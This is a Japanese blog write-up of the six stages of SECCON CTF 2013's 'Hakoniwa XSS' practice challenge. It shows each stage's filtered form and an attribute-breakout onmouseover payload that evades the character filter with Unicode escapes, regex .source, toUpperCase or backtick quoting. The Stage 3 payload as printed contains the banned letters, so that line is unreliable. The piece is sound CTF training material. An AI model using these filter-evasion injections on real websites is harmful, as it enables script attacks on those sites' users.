SECCON 2013 箱庭XSS | Write-up
もうすぐSECCONですね!僕も参加する予定ですが、少しでもチームに貢献するためにXSSの練習をしようと、SECCON CTF 2013 横浜地方大会の決勝戦で出された「箱庭XSS」を解いてみました。
問題の方はCTF for Beginners (過去記事)の時に頂いたものを使わせていただきました。
箱庭XSS
こんなかんじで、ただひたすらXSSをするためだけの素敵なソフトです。XSSの練習には持って来いですね。
Stage 1~6まであり、問題はすべて「『XSS』と書かれたalertボックスを表示させてください。」というもの。
Stage 1
- 「<」と「>」と「X」と「S」は使えない。
ソース
<html><body> ●問題-1● 「XSS」と書かれたalertボックスを表示させてください。<br> (ただし、「<」と「>」と「X」と「S」は使えません。) <form action='http://www.example.jp/' method='get'> <input type='text' name='p' size='60' value=''> <input type='submit' value='Send'> </form>
「<」と「>」が使えない時はたいていイベントハンドラを使うと良いらしい。
' onmouseover='alert("xss".toUpperCase())
このXSS送信した後、入力ボックスにマウスを持っていく(onmouseover)とアラートが表示されます。"toUpperCase()"で"xss"を大文字に変換しています。
Stage 2
- 「<」と「>」と「X」と「S」と「x」は使えない。
ソース
<html><body><!-- Stage-1 Flag: f6d5ff --> ●問題-2● 「XSS」と書かれたalertボックスを表示させてください。<br> (ただし、「<」と「>」と「X」と「S」と「x」は使えません。) <form action="http://www.example.jp/" method="get"> <input type="text" name="p" size="60" value=""> <input type="submit" value="Send"> </form>
更に条件が厳しくなって、小文字のXは使えません。ここではunicodeを使う方法を取ります。"X"が58、"S"が53だから
" onmouseover="alert('\u0058\u0053\u0053')
これでクリアです。
Stage 3
- 「<」と「>」と「X」と「S」と「x」と「\」は使えない。
ソース
<html><body><!-- Stage-2 Flag: 846d5b --> ●問題-3● 「XSS」と書かれたalertボックスを表示させてください。<br> (ただし、「<」と「>」と「X」と「S」と「x」と「\」は使えません。) <form action="http://www.example.jp/" method="get"> <input type="text" name="p" size="60" value=""> <input type="submit" value="Send"> </form>
先程のASCIIコードでは書けないののですが、16進数を10進数に直すとこんな書き方ができます。
" onmouseover="alert('XSS')
Stage 4
- 「<」と「>」と「X」と「S」と「x」と「&」は使えない。
ソース
<html><body><!-- Stage-3 Flag: 2bd135 --> ●問題-4● 「XSS」と書かれたalertボックスを表示させてください。<br> (ただし、「<」と「>」と「X」と「S」と「x」と「&」は使えません。) <form action="http://www.example.jp/" method="get"> <input type="text" name="p" size="60" value=""> <input type="submit" value="Send"> </form>
これは、Stage 2とまんま同じ方法で解けました。ラッキー!
Stage 5
- 「<」と「>」と「X」と「S」と「x」と「'」は使えない。
ソース
<html><body><!-- Stage-4 Flag: 924dd8 --> ●問題-5● 「XSS」と書かれたalertボックスを表示させてください。<br> (ただし、「<」と「>」と「X」と「S」と「x」と「'」は使えません。) <form action="http://www.example.jp/" method="get"> <input type="text" name="p" size="60" value=""> <input type="submit" value="Send"> </form>
これは悩みましたが、ググったら出てきました。
" onmouseover="alert(/XSS/.source)
Stage 6
- 「<」と「>」と「X」と「S」と「'」と「"」と「&」と「\」は使えない。
ソース
<html><body><!-- Stage-5 Flag: 23f074 --> ●問題-6● 「XSS」と書かれたalertボックスを表示させてください。<br> (ただし、「<」と「>」と「X」と「S」と「'」と「"」と「&」と「\」は使えません。) <form action="http://www.example.jp/" method="get"> <input type="text" name="p" size="60" value=``> <input type="submit" value="Send"> </form>
ぱっと見マジキチの問題に見えますが、これまで使った手法を組み合わせて解けました。ソースを良く見るとvalueはダブルクオートでもシングルクオートでもなく、バッククオートを使って囲っていることが分かります。
` onmouseover=`alert(/xss/.source.toUpperCase())
やったぜ。